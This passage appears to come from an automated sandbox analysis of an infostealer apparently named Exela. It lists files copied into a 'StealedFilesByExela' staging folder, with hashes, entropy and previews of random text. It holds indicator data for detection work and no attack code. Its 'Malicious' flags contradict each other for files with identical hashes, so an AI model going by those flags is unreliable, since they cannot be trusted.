MD5:	78F042E25B7FAF970F75DFAA81955268
SHA1:	F7C4C8DDF51B3C5293E0A92F6767D308BBF568B4
SHA-256:	E4C9709AFEA9D9830CED1AA6DF1711D0332A5972688640368DDC32C07C0D5D17
SHA-512:	CE2548833F62C549CA0268BE445E517AC986CA44EA52916A153DFFE4D7FA59B703E5927DFE70836E8B082C246793DF2066D72DB4A6E1C948940E88C524952348
Malicious:	false
Preview:	HTAGVDFUIELGZFCTZZGRSQISCXMOKSCAZEJVAPBPJKABIZKEGFAGMGOIUPHPJOYIWMVIKWCNUOWDMGCFXJQANMMOULIVTQQGUZVVOLZWBYTHYOHMMVIMTTBBCAIGONNRVEUMTCTCEMTWFNDSQPHEPLAFZAKYSROZKRQDUZOUZIKJGJRIBJODHOULJHWQBIJSAIYMXLFOSFOEFKTQPEEWFTFCIFSLHXSXYXBWTPCWMCGPETOSVLNKYCONFWCIUFEQKOWQNQKJSIZKNZXOQWMTJOGWDBUFBKDXUPYYIXUTOPSOVWLVKIOKFPSXDAVMBUZIYYZUQTDLZIMRRGXLTOEJMFWLOMNPNLICPZPKTHPXELGBYTJLOJOEWNRDNMXXRYMAJBWCTNMBREIJDVVIXEHEGYQKZQCGLVHOCMUSKXCQQMURLYKWUIUMFSGYMZUQXCTZOKQYXJAUDEVTSOOQUKZKKEEOANGSIIWTUVEGHTCOTXCDTCZIFUAWDLWKDNQTUAXBCRBKEGHCEPWTXOQVBWKIXLQEUCHHRHMKWOVVBFOLNUHSLLMHOOFDQCOVQVCNKKYOGNPYFHMPHXNPOTANYIGKSXGYDKBAEAYCNSDEQRTDZXKUOIUOHOMJPCCDXHJTXLKPCLAKLUNDAFZVUXKBSBAWUIBEQFANHTKLDXHBVLMBIXZUPHFUIHTECGPPEITWIRPTQHJDDRMAQERQMDOELBOQSEMMMCCUPQVDZXOFFYQSEIDXDPFNKRGYVUDDHHQGPRFUFAJOKTJSGMHWRXPZFPTHUACEOFEZUYOSJGJLFUTHTDWBPUETPFOWWTNVGDPCHGGCYSORPYRNRZVFDIQZLGVXSZLKMPDVKQURMLSZDDXVNBPXKBLQIKBTAWLYTZWTFUNWLSZPWUWBVBXUJMBCFHPMBIRGLQAWDQTJEHKOGMUTEILXROVHXNUORTTYMCMDGNZYCCCTIABCKYPUCGPPUUSBWLIPYZKIMRHFVZCGDPKZ

C:\Users\user\AppData\Local\Temp\StealedFilesByExela\Desktop\KATAXZVCPS.mp3

Download File

Process:	C:\Users\user\Desktop\rename_me_before.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.699548026888946
Encrypted:	false
SSDEEP:	24:pjU7tPjIpNf9XSXm/5eskkSAjuenNF0hE6mHPISZMqEv:pjU7xIpfXSipuenT0hvYIV
MD5:	A0DC32426FC8BF469784A49B3D092ADC
SHA1:	0C0EEB9B226B1B19A509D9864F8ADC521BF18350
SHA-256:	A381579322A3055F468E57EA1980A523CAF16ABFE5A09B46EC709E854E67AA01
SHA-512:	DAF85E375438A2A6CC261D75D672A9C43E80E6CB1BC1EAA1BDB7B798CDE22AEFD5A04AC1D10E6F24CDBB7F9EA0452F5CA790969C750B764B4B7F9E0C5B2A0731
Malicious:	false
Preview:	KATAXZVCPSXDNCRGTIEAHLTBMQUFAYSWEMLQOMHMIKPDECBCOYPMSTTHHPDKZNGFGWCNUUGIGXPEBWCPRKDGBOWPSNMTFYIHVYITPQGJYFOAJMWVQDHVSMYHPXFGNOURBBIVVVMRPWBBLQXUCAXUFAYRSTCKWXAAMKJJZILVYZNBPSMXAGXZDASFVGKBTHNGETLQIHPRIVPIVHVCSRDUBEGENZMHSYQLROJPZILEYZIFDADQNRGHABZNQMPQMEVKVERETAQUHUXWKYTSUKUXMTSIPUXJRNZOLPGLRSFBCHYWGMRDPLBUIIFHFUNFWRALBUPZLDJUHIMNWKMISYIKAQGSLGBWBFUXASKUFXDTLJAXOSBBQTQJNJAVJQLQEFEKRWWXRJNJSWYQQKPEAVJRUZGKJUAZLPHMOTXLNXAZINYPNPZNGRMVYVCYPPHKTYJCBWNURXFTCITKLDRSFMIHFZHIDPGLOTHCQFZZEHIEXWNNZRJQLWYMVUHTXHFFDTYBHDRBRNTPLBXPVFCUVAJOYOWRENFUXTSCNCCQJOSITCFTGJHFQCYISKUAVSRYASWVJRDNOYYCSYOZWHRPNSBWMHUUEYUGOXVSYKLFZAUQJZDVBEBHHGXQHZVJWNUGLSAYWIEHAJCPIOHOPCXKNVRISBGUAEMSYEGNPQXITRIIMXOLIJYUBIEQGZQUAHRWMKQHCRHKBJZQQXFYTNBHEJEWRPZRXZCXRJQVIUOATJAEYDILREREDIWFEMISEKZWNCDTIPTTOZXOZJIYMGKYIKXBLURVWBJHYFJCLGVVIMADULTTVZIOEIPMVJAOPSQCDFMYPSPGLBIQXTWTUZERGBDTCIRRVRTNGENXXRTHESXQFUQSRGUQDQWGTGXTSGDYWIQVOKABAIAJIEUVYCZXNYVKPRREMYAVDFDHWOGEKALUPBHOHENIHLFJZAHVTJIQJBKXOYIOELCIIECJBPTTASBEKGOESRDFBACPOTNMRZOG

C:\Users\user\AppData\Local\Temp\StealedFilesByExela\Desktop\KATAXZVCPS.pdf

Download File

Process:	C:\Users\user\Desktop\rename_me_before.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.699548026888946
Encrypted:	false
SSDEEP:	24:pjU7tPjIpNf9XSXm/5eskkSAjuenNF0hE6mHPISZMqEv:pjU7xIpfXSipuenT0hvYIV
MD5:	A0DC32426FC8BF469784A49B3D092ADC
SHA1:	0C0EEB9B226B1B19A509D9864F8ADC521BF18350
SHA-256:	A381579322A3055F468E57EA1980A523CAF16ABFE5A09B46EC709E854E67AA01
SHA-512:	DAF85E375438A2A6CC261D75D672A9C43E80E6CB1BC1EAA1BDB7B798CDE22AEFD5A04AC1D10E6F24CDBB7F9EA0452F5CA790969C750B764B4B7F9E0C5B2A0731
Malicious:	false
Preview:	KATAXZVCPSXDNCRGTIEAHLTBMQUFAYSWEMLQOMHMIKPDECBCOYPMSTTHHPDKZNGFGWCNUUGIGXPEBWCPRKDGBOWPSNMTFYIHVYITPQGJYFOAJMWVQDHVSMYHPXFGNOURBBIVVVMRPWBBLQXUCAXUFAYRSTCKWXAAMKJJZILVYZNBPSMXAGXZDASFVGKBTHNGETLQIHPRIVPIVHVCSRDUBEGENZMHSYQLROJPZILEYZIFDADQNRGHABZNQMPQMEVKVERETAQUHUXWKYTSUKUXMTSIPUXJRNZOLPGLRSFBCHYWGMRDPLBUIIFHFUNFWRALBUPZLDJUHIMNWKMISYIKAQGSLGBWBFUXASKUFXDTLJAXOSBBQTQJNJAVJQLQEFEKRWWXRJNJSWYQQKPEAVJRUZGKJUAZLPHMOTXLNXAZINYPNPZNGRMVYVCYPPHKTYJCBWNURXFTCITKLDRSFMIHFZHIDPGLOTHCQFZZEHIEXWNNZRJQLWYMVUHTXHFFDTYBHDRBRNTPLBXPVFCUVAJOYOWRENFUXTSCNCCQJOSITCFTGJHFQCYISKUAVSRYASWVJRDNOYYCSYOZWHRPNSBWMHUUEYUGOXVSYKLFZAUQJZDVBEBHHGXQHZVJWNUGLSAYWIEHAJCPIOHOPCXKNVRISBGUAEMSYEGNPQXITRIIMXOLIJYUBIEQGZQUAHRWMKQHCRHKBJZQQXFYTNBHEJEWRPZRXZCXRJQVIUOATJAEYDILREREDIWFEMISEKZWNCDTIPTTOZXOZJIYMGKYIKXBLURVWBJHYFJCLGVVIMADULTTVZIOEIPMVJAOPSQCDFMYPSPGLBIQXTWTUZERGBDTCIRRVRTNGENXXRTHESXQFUQSRGUQDQWGTGXTSGDYWIQVOKABAIAJIEUVYCZXNYVKPRREMYAVDFDHWOGEKALUPBHOHENIHLFJZAHVTJIQJBKXOYIOELCIIECJBPTTASBEKGOESRDFBACPOTNMRZOG

C:\Users\user\AppData\Local\Temp\StealedFilesByExela\Desktop\KZWFNRXYKI.jpg

Download File

Process:	C:\Users\user\Desktop\rename_me_before.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.694982189683734
Encrypted:	false
SSDEEP:	24:MggAXr5945qa/jgwHvsjCIShLGmTSIp/6co4rHg+X:MgJXr5+pjBsUhJTSIGA
MD5:	E49F84B05A175C231342E6B705A24A44
SHA1:	41B4E74B5F82D72435DFF38DD1B8B6026691CB4E
SHA-256:	EE0E867E83FE0206F33F009F216D2986AE3903B6F8944FBE2CC36586E5844626
SHA-512:	84E29127671A2D2539F2E340C3465736F68C5545A256F9C2813B6BF955645A629FD80BCFF7CEC902F07492C1E40C0794C2D3A906DD402BACA5E647BDFA2B88AA
Malicious:	false
Preview:	KZWFNRXYKIQQDFEFEKFUFTLSCHHVHHFJVLINSSPODUWFGYCFXENRRFQZQNVRFJLXTKRPVZFZUDBIVIHPJCTZSMJNOWNCQAPYYHLTMHJJYECMUWUKYXMYBEVYHAFCNHVTPHXQKEQMWLDZKOKDMDUORJRRWKHVJLZNSFERFDAFUHPRYSOCWFZCHPEXICNDGFOZLLLNASUKYIOHUBCGSHVHTAAMQFTBUNSBDIPJOCUDVCBYOUPDCATAMJESONSVVDFARQOQHDTKDRVDWNHMPSWQTCDBOSQIMASLDMFOKOIPUFJNASKNMQOVCYYFVCKNWJBVIBCWMYJGLWMAZWJABPWRYFHPZVZTRFLFKJIVQMYASPFSBODYXKEEFHBTFSHZEWSGAGGMSRRYSACIWVPBTHVGVVYONDRAYVOWBYTTLWWPGWQAJDLYFDALUZCIBUOEBMSCKJILYNBNADCKXDVTLOFEMKULPCSYYTTPBZKLBPMPEQZHPJCMRWISRYUKSYBUOCFXUPORADUTYINWCOLTVNYNBVHTATWIAMJBNCYZTMQLJOZXQMVQWJAGLZBDTPNMMKABCUCOYDSRVMYDKVJFRZRLIKSQNEMHUWIXWIACERSGEBQFEQJLXFLCITYZWKHIASCUIPVHOXQGWHFWSXEHOMVVXNFDEKOTOBBAEPJTBOCEJGWYSJBHWDRPPONMLWEDWWLGQVWLLREHLEZFZNEDNRDQMBTZWCUIFLPBHTTQGIEVFRJKMYLHMYUOCAAUGIRMYSCUPKJDFUJBVKKJHICSXHPXWUGXGPHCKBZLZXDCKURFIMZGIDDJWPBHEERWPLLCNTTKZRNYIMGHNYECXBHHHWCVILLPFPVXYOQODPYIIVKTOODIUKCMBBWHUEFORQUJCVYVBOBKKLPQJMOJEUOFUFAAJRTAZTXJJQPOORSRNCQDMHWVYQIGGCMZGYMXIBAKRNOPIPQWJHZEWBBJTYBESJTCCPYZHONYNVOXCBHCXRST

C:\Users\user\AppData\Local\Temp\StealedFilesByExela\Desktop\KZWFNRXYKI.pdf

Download File

Process:	C:\Users\user\Desktop\rename_me_before.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.694982189683734
Encrypted:	false
SSDEEP:	24:MggAXr5945qa/jgwHvsjCIShLGmTSIp/6co4rHg+X:MgJXr5+pjBsUhJTSIGA
MD5:	E49F84B05A175C231342E6B705A24A44
SHA1:	41B4E74B5F82D72435DFF38DD1B8B6026691CB4E
SHA-256:	EE0E867E83FE0206F33F009F216D2986AE3903B6F8944FBE2CC36586E5844626
SHA-512:	84E29127671A2D2539F2E340C3465736F68C5545A256F9C2813B6BF955645A629FD80BCFF7CEC902F07492C1E40C0794C2D3A906DD402BACA5E647BDFA2B88AA
Malicious:	true
Preview:	KZWFNRXYKIQQDFEFEKFUFTLSCHHVHHFJVLINSSPODUWFGYCFXENRRFQZQNVRFJLXTKRPVZFZUDBIVIHPJCTZSMJNOWNCQAPYYHLTMHJJYECMUWUKYXMYBEVYHAFCNHVTPHXQKEQMWLDZKOKDMDUORJRRWKHVJLZNSFERFDAFUHPRYSOCWFZCHPEXICNDGFOZLLLNASUKYIOHUBCGSHVHTAAMQFTBUNSBDIPJOCUDVCBYOUPDCATAMJESONSVVDFARQOQHDTKDRVDWNHMPSWQTCDBOSQIMASLDMFOKOIPUFJNASKNMQOVCYYFVCKNWJBVIBCWMYJGLWMAZWJABPWRYFHPZVZTRFLFKJIVQMYASPFSBODYXKEEFHBTFSHZEWSGAGGMSRRYSACIWVPBTHVGVVYONDRAYVOWBYTTLWWPGWQAJDLYFDALUZCIBUOEBMSCKJILYNBNADCKXDVTLOFEMKULPCSYYTTPBZKLBPMPEQZHPJCMRWISRYUKSYBUOCFXUPORADUTYINWCOLTVNYNBVHTATWIAMJBNCYZTMQLJOZXQMVQWJAGLZBDTPNMMKABCUCOYDSRVMYDKVJFRZRLIKSQNEMHUWIXWIACERSGEBQFEQJLXFLCITYZWKHIASCUIPVHOXQGWHFWSXEHOMVVXNFDEKOTOBBAEPJTBOCEJGWYSJBHWDRPPONMLWEDWWLGQVWLLREHLEZFZNEDNRDQMBTZWCUIFLPBHTTQGIEVFRJKMYLHMYUOCAAUGIRMYSCUPKJDFUJBVKKJHICSXHPXWUGXGPHCKBZLZXDCKURFIMZGIDDJWPBHEERWPLLCNTTKZRNYIMGHNYECXBHHHWCVILLPFPVXYOQODPYIIVKTOODIUKCMBBWHUEFORQUJCVYVBOBKKLPQJMOJEUOFUFAAJRTAZTXJJQPOORSRNCQDMHWVYQIGGCMZGYMXIBAKRNOPIPQWJHZEWBBJTYBESJTCCPYZHONYNVOXCBHCXRST

C:\Users\user\AppData\Local\Temp\StealedFilesByExela\Desktop\LTKMYBSEYZ.xlsx

Download File

Process:	C:\Users\user\Desktop\rename_me_before.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.687722658485212
Encrypted:	false
SSDEEP:	24:gTVIxDsK0PxMQbXpEHH8+976o9VWmCUGGFT3IIU8wyG33bu3jUn:gZIxDW5lj02otC1G5IIUF/n
MD5:	9A59DF7A478E34FB1DD60514E5C85366
SHA1:	DE10B95426671A161E37E5CE1AD6424AB3C07D98
SHA-256:	582393A08E0952F43A544A991772B088CC77CE584F8844DE6C5246BA36E703D5
SHA-512:	70B4673D358E097AB2B75633A64A19C16E1422C81B6B198D81BF17B7609BFB4ACF5DE36228FF3884C5B9BA0A15E13F56C94968E5136B497C826F3D201A971B00
Malicious:	false
Preview:	LTKMYBSEYZYLWBDLQYQSGHCEKOMUGSMOJLJVFHAICZAEQCNCBEGUYSPUJHNJSDQTVUPUFCNWSVXGWFVWMFIWRQGVLGYUUBXDZXYJMKPAQTJLYUZTWHPYSRLPQBTKDHEWTTWLDXITQQAGNHQLMCYZCGICKEHUUXVCXHMYJQQYOQIXMRPWDNHFRXHXUHBSJQQHJNETRHWEBONEJBHTDQQNCEMAEDULTTSDIGDGEYCFSHOYFMDRTHCJKCFEFLMLVJNHUTISDTYYKQXVYELRXTCPVMTHGMXSDMUSFEPIIFBHCRRCGWXNWEXQGIUUAYBLCIBZGCXXZYYFPOIAUUAZEORINBBTOZEUXMAZYFVDWGLZZHOHNZHSEJYZULRNGAFKDQXEYHMJWAZXCTSLOIDSVWCDDAJVQOZRXWVWCMYQCKXRQMOHVCMJHXERQTMBGRETHKBIQULAPJVABDGMJDULEZZHMATXEUVKGXGGFBUQPNFRZOPVDFONCFHWZHXDJQQLBBLRNEDPABSGIFBWEQTJAGKFRSLLFIXBIADJYQFXLIYTRHHMHAEDZRJJZZSOCKJNBHWWZEZXGEEJOALVQSBDQTYEHCQVMQMBKNHLBFIRUKLCVRFKGJWGONQGFFIPLGGCUDTZOLCUDDOARJHBVHHRZEYWWKNFEXBVKDTVKTGDMSUOSIIJKKXODRUCUDQHPOJRJZICJUGIDYTFJNVOJIFAVDFPGFTUQFDWLLALACJUWFIKJDQRZQVIIULGPKDOEMRGWVXSLFQHDVZJLHRKVFDXZZCYMKQTRZIBEAHUAXZFKIOBFQACDYLWSHXGVQBAYTXLOISPDOUTEJPQXZNCWCWFKRYQGOEIQEKGUMTCROZMZMVLTCMMBZZHLSYRTDCWSSQEKPTOUQZYPJDCZQTZSHURDOLLYIYFPIECQEHEYPDXHDRIYSOEILWHEODCIXNORCUDGORDQCYVQHNTVIZVMIQLRODCUBWDVZCRJJNXNJQMHPXE

C:\Users\user\AppData\Local\Temp\StealedFilesByExela\Desktop\NIKHQAIQAU.png

Download File

Process:	C:\Users\user\Desktop\rename_me_before.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.690394987545919
Encrypted:	false
SSDEEP:	24:x8Xtqp+Wamt5Tlx/0lL5fswH7s9cBus1XuWzv:+tNsfMswbVb+WD
MD5:	CA901F8E74EB7955CF06A00BD424C0C2
SHA1:	0876F92A018E8AB57F666FBB048B1CD028607A38
SHA-256:	6DAB1DF82EDD11EEF4FD3B81E692BF065731935C03D4AAEB4493612188DD1D16
SHA-512:	7363E62B6FB08E96BD561FA00A05C7A88C0C20943FC3FB9CD505C77CCB40C549F8943DDFCA69532F6544E9CC929EB5786C488F3D7E8F1AB0F05C3EA10E4EA0B2
Malicious:	false
Preview:	NIKHQAIQAUYLAGKSNVEIEFIHRXSBOKMMEGWDWAKSEZEDBXXYJJOUSSENRJICLDBYWKJEUKRIBTNODZEVLZHOZSPIROLEDDZIVDLRTCVHZIXTARRYNQXDSJTZFOOYHUCROZUVPHMDRIWZWYNOATHQMKGZMPPIBYIAXUSGLYFPQTHUARHNEBTECYTUUCXJOESOPPKVXGBHXGPHIYJEJAYBFOVPMDVWEZNFBQJKZAWGCIWNFBSDPSSBBQTNYDJVQTTPUWPOOTVYKITOESDZWHOTFCZIQUYASDBGWAPMXAFIGQFPGWTRNBMHCXAZNMKIOSHYBMTSDERCDBFQSLEBTIGMCRUGZJZQAMYIFXIHLBUBWXCKIQTVQNMYMUYZWTTRQAVEAQFTTDTEFYTIXVPFUZALHHYLJHLNOFTPHODDWSFLBPCVKNDNFYPRHRVBHZSKKAJYBRTRWEHCIAZYAWYXGIRJSURFADGDZBTKMLEAYICWBYEAKNBIIDMQKZIXOLIQHETRIJJOSQDVZXKTZOMXOXGKIEJJNUHMCNVBNTYVETDBZHKYQLQYJBSUUNGMIURLIIINJAVXYNHTVSYTVBSAGNGQGUYADHTCDXNDKQFKCMHFRLWQZMSHDZEBEGPOSOPFUUHIVYBVXTLHFYHMHALQHNIUKMTKRBYZDOEALSNTXJRYMEETOQRISFEOVJSBVNMZFHXIDWOPIZKHISVTXVHAUPHEUOQLFVPNKREKEFDTLOWUVDKPDDCBKKSSGLLJSGVCAKVVFFKUKYVELNQTKZZRSDNEKDHUGDQWFBGFQMTINSXDOXPQOPZWHRDBBIZNGWLXSHCGVIBTIQEUTFYRIYKHRANDXVFREQPDFPRAKAFCQSRGTEIQGEAVDTJRESPBHYVTTLHWYQSKOZIBJZRSUJETZFCGMBHNYUSWWAENDXQUJFMLWZXGNLDFLSRZJBBJCPWKHFZXEVBDCLKULDSDXUFVEWFBMUMFQQONCJFFBARKNAVJ

C:\Users\user\AppData\Local\Temp\StealedFilesByExela\Desktop\NWTVCDUMOB.pdf

Download File

Process:	C:\Users\user\Desktop\rename_me_before.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.696250160603532
Encrypted:	false
SSDEEP:	24:5Gvoddnzj/gxR0e7uyJ9MLyy07KpRnPgNcnA+2/nSgTfK0Xzy:wv4zCR0ouAMG3wPgNuAZnSQXzy
MD5:	2B6A90B7D410E3A4E2B32C90D816B4FE
SHA1:	B8CD90C4CDCF41CBF18D88A4C01BBA22F670AD83
SHA-256:	D65D483904467EB7373EDA8DFAE2070C057FC93465A4AC5C9FEF8B42340D9DAB
SHA-512:	03AFBF42E5C04E928D03C687B0F17A0AB15428C78958B206DC6C50118B961C9DDF88A6E53B3115F09FDEE44EAFA46B262933164055532D3B4B4F9265F42A6C58
Malicious:	false
Preview:	NWTVCDUMOBTPRQQPHXQLIMGPJXTEMPBNYLBFKQFUEVGISJSVQRMPMZSAYEYQSOTUAJFILXLTKFEVHLSAMYEEFLNJSHLTTFXRTDNUGXEFIGVCAWPMDNUICDIZGPHMESKWSMUPNOFEVXFTSHSKLCVHQTNKDHDMDRJOUTEUSCAUAVMVBMOSYKKRPPZYFUGXFXWMWRACKFCQOUHITLUCHGFZEOIPNCJFJOVBZIKDRNERXOSPKSRMHKTJUGFEOONFWLVNTJWXUFPADWYIUDKAZQXCZRFPUQQAMRTIOEHUDTLGOWYMIDOZAXTLGVEGUCQLJZGMIEQYOLWEMSGZUBWXOIBQEMQLQVGRBTUICFCEJGFTZRZCKJQEMATEONIMJKBYGQYDYXOLLROWXGYCNCVPTMRZSMMSZXKMNPSCJJJKKNRAJXGSLZNKJRJRGMCCCBCIGTLTFKNVDVIHYLGRNXDVIVWBCPNKNIFJAPQQWDQQEDDKNHVJRQJTKCUADORWREEDYTVFAOWHPNXWSNAJCVXCLLTNQPMJQHDILFNQUZJZZJJMMNDNGEBEGSTVAGZJMSMZHWJKNIAFGBUYMVADKCVLDGFQETUZXGUOUWXBBPNOWFERKMKMPOXIOTKJERPVXJGCIUKAGDGITLFYRIBAPKRESMNOMTVTZCXMODUUIGFMEMBMGAGXFZGAAZFCXDWBKKCPUKFFNMVKDFFVZYWKEKBWMADWDZXUIOOLCLIACESGRBJRSMXKUSOKXJEICCPRFWSISDTKVTDVAYSWLRHTWJGCXQMNITQJHCBMSCDRWKMGADWILLATOPVPILEQQGAIPRRUCJFTRRSSWITQKIWJOATZOBETZDBBWAIJIOXCUQSILQHQKEZXWFWWNVEWKZCGFYPBDSDBSFAZDZFRHJBZIGOZCVUGODUTNCDHKKMFHSYKUSFSXOMOUXZYOSUZNJQBXAVPOBTVBINMSIPYONLYRKIHONKWHSUAJWIALOTZAQJSNTIH

C:\Users\user\AppData\Local\Temp\StealedFilesByExela\Desktop\NWTVCDUMOB.png

Download File

Process:	C:\Users\user\Desktop\rename_me_before.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.696250160603532
Encrypted:	false
SSDEEP:	24:5Gvoddnzj/gxR0e7uyJ9MLyy07KpRnPgNcnA+2/nSgTfK0Xzy:wv4zCR0ouAMG3wPgNuAZnSQXzy
MD5:	2B6A90B7D410E3A4E2B32C90D816B4FE
SHA1:	B8CD90C4CDCF41CBF18D88A4C01BBA22F670AD83
SHA-256:	D65D483904467EB7373EDA8DFAE2070C057FC93465A4AC5C9FEF8B42340D9DAB
SHA-512:	03AFBF42E5C04E928D03C687B0F17A0AB15428C78958B206DC6C50118B961C9DDF88A6E53B3115F09FDEE44EAFA46B262933164055532D3B4B4F9265F42A6C58
Malicious:	false
Preview:	NWTVCDUMOBTPRQQPHXQLIMGPJXTEMPBNYLBFKQFUEVGISJSVQRMPMZSAYEYQSOTUAJFILXLTKFEVHLSAMYEEFLNJSHLTTFXRTDNUGXEFIGVCAWPMDNUICDIZGPHMESKWSMUPNOFEVXFTSHSKLCVHQTNKDHDMDRJOUTEUSCAUAVMVBMOSYKKRPPZYFUGXFXWMWRACKFCQOUHITLUCHGFZEOIPNCJFJOVBZIKDRNERXOSPKSRMHKTJUGFEOONFWLVNTJWXUFPADWYIUDKAZQXCZRFPUQQAMRTIOEHUDTLGOWYMIDOZAXTLGVEGUCQLJZGMIEQYOLWEMSGZUBWXOIBQEMQLQVGRBTUICFCEJGFTZRZCKJQEMATEONIMJKBYGQYDYXOLLROWXGYCNCVPTMRZSMMSZXKMNPSCJJJKKNRAJXGSLZNKJRJRGMCCCBCIGTLTFKNVDVIHYLGRNXDVIVWBCPNKNIFJAPQQWDQQEDDKNHVJRQJTKCUADORWREEDYTVFAOWHPNXWSNAJCVXCLLTNQPMJQHDILFNQUZJZZJJMMNDNGEBEGSTVAGZJMSMZHWJKNIAFGBUYMVADKCVLDGFQETUZXGUOUWXBBPNOWFERKMKMPOXIOTKJERPVXJGCIUKAGDGITLFYRIBAPKRESMNOMTVTZCXMODUUIGFMEMBMGAGXFZGAAZFCXDWBKKCPUKFFNMVKDFFVZYWKEKBWMADWDZXUIOOLCLIACESGRBJRSMXKUSOKXJEICCPRFWSISDTKVTDVAYSWLRHTWJGCXQMNITQJHCBMSCDRWKMGADWILLATOPVPILEQQGAIPRRUCJFTRRSSWITQKIWJOATZOBETZDBBWAIJIOXCUQSILQHQKEZXWFWWNVEWKZCGFYPBDSDBSFAZDZFRHJBZIGOZCVUGODUTNCDHKKMFHSYKUSFSXOMOUXZYOSUZNJQBXAVPOBTVBINMSIPYONLYRKIHONKWHSUAJWIALOTZAQJSNTIH

C:\Users\user\AppData\Local\Temp\StealedFilesByExela\Desktop\ONBQCLYSPU.pdf

Download File

Process:	C:\Users\user\Desktop\rename_me_before.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.699434772658264
Encrypted:	false
SSDEEP:	24:Khfv+VFngw6i0t5Ut+l3kHwMDkhBlBAMFPxYaija:pvl6Pt5uQ3kQ0khBl1VxYpu
MD5:	02D3A9BE2018CD12945C5969F383EF4A
SHA1:	085F3165672114B2B8E9F73C629ADABBF99F178D
SHA-256:	6088E17DB4C586F5011BC5E16E8BF2E79C496EB6DAE177FF64D9713D39D500CA
SHA-512:	A126D98EE751D0FB768E4DB7D92CBC6AE7852FEE337B85ED045D871DB321C6C98FD58A244D058CA3F41348216C68CB4A37FA854980BB16D358AA62A932DD867E
Malicious:	true
Preview:	ONBQCLYSPUBDAQCIGYNWXHPENQNLJZGXCHXSNXZNCZBUHYDXPEMCJPAWYQSVHMGKHJUFFFYDAXDAHOLOAZEPTWZTWDGPFLXMMCXLCIIJOXMVRNMUMTICVHQSWNAGIYCQBOZZHONWWBXKDUJYBRPSLNFGTUIFTNGJEATOXKHEFMERAQZVBMQGKZUKXDBMGRJDOOGATZZKQMEZJRWZVAZRPQTVWPETCIMLPMYNWZLVLXRPUUKLNIMTYDNYIJTZEFJDNMWTOFFKRRINCRDCFGJAJNMYQHGXGVHVYPEUFBNUIGUVGBYQKIAJLIVACVIHEGZIYKSROURNGZSCTUKBKFFCGPXAONPDEBIZJRKCFYHATDXLXYKGLWXBCHJERCRNMKESIMBDNPMPBWXSVSEAAUEKEGUIJBZLAESAFZHMBLPPKMNTZAZIIYSHMWJBFTZZSKYNFJYSBRLGVHOWZUQHXUSSJESIEKHZLTLILMSMJZHXFWGJQNWQCDLXEWBZPGBTVDVCPPUFLFGNZRUKJOANJVXVTXLOQLFUIVEWTCBKOBYZMAOTIMQMJYRYLSOLSSACCLCFTVXCKKJDNWQAETNXHIOQCDTXLLVEQLNLGDIOULNFNNDXTVYYSPDWWZHDSYHBRXMUAAHJIGSGLSFKCGADPUAASYZFEZWHYDLQDUCHJXMNMTNCDCMNIJQCSGEQOGVGYBYPMTZBBFOACZMMKVFNELOMGSTCQUDRFKLFGOHOTZKZCWJWDRECGYETFYOWLYECGICMGUKZRVNHUQTLQLHUTPRZXBVYMPAFBLSWKSSKBGWCWBFEEZIAZUZGEYMYBSXYUCHEALFJRSGWQJMABNQHSZANDDTYMVJKXFFFDEENZAGRGVLHFELVOSGTXVOOPFGCQDSFWOYKKOYUHFWMXWPLHFIIPORMEJNOFYMJRBAZLYTIOKEFIWPDZUKMIWKLZXBOESUCXZXQSCMQKDKFBCHJMPMZHELLNSYYEJNBRRXVBMPD

C:\Users\user\AppData\Local\Temp\StealedFilesByExela\Desktop\UMMBDNEQBN.docx

Download File

Process:	C:\Users\user\Desktop\rename_me_before.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.695685570184741
Encrypted:	false
SSDEEP:	24:SYuCgqv/1uycbC6SHsJPWXpOxTeVtblICcFX4xlyzK7y45wR39IRh:S1CPvsC6YE+XgleVtbQuKGf5M39IRh
MD5:	A28F7445BB3D064C83EB9DBC98091F76
SHA1:	D4E174D2D26333FCB66D3FD84E3D0F67AF41D182
SHA-256:	10A802E683A2C669BB581DE0A192C8291DD2D53D89A2883A59CC29EB14453B93
SHA-512:	42526FEC4220E50DB60BD7D83A07DEB9D5BE4F63AD093B518E9ECC86B779210B0170F6F64C9F16064D50CB12F03643BAC9995D4F3C0AFD5F8D38428D57ADE487
Malicious:	false
Preview:	UMMBDNEQBNVIMBNGHYZCBKXWMQJKYISTANSRNFXXBKALIIEMEWAFQEPTEMZCIXXNMQBGOXWSDYSAWKIYPJITNREMVRXPPJZFUTMGRRRGTCHVLEWVUJGZEUQVONQVACEFWZUCIAFXPFGXIUOOBZEEMGMWJQIEKKICYJJWAFUKYZAJEGUQKGDPRPXCOWIPBRUGHWDFZLGSKZVCHVVPGLEFNGIVLBVNAOVXAPGATADJBIQTBNJGWXRSEYKCSVZOSTCBHYFHUDEWNGEIFCVREPZDZDZRITFEVFCQQWJYZXPUKJWHTWGWASTKDCAVEWZOIGFZHRWCJBVRLDWGVKPABCQUOHQIMLUFUGYGMPGPEMSRPPSGWIGRVPBGZIWLNEVYFFJBCMBSXVABNRNXULCTUAANAXDHKZOGVCNQZHMRBENWTTLQVVMDLNBEWHLPZHMPDGRLJWAQJDJRCWTFWIOLAURRCSMFJOCFDKUGPLTPABARXKPCRXOIHHVRWXAKGHOTYLCEQQYYDKVZQSYLCAEGGBQMMJGSNJWBTJXSVALINNRLURMPNGFXHJRVJIKQJSDLNIOXGIGDFDCOTGGXMDLTDYSIKCMPVINDDXXQCEQCRUBLFEWMYMSEGUHIKIGUYOMOXSKOTVNUNGWUFYKYRNZXOOTSRYXLZHRZ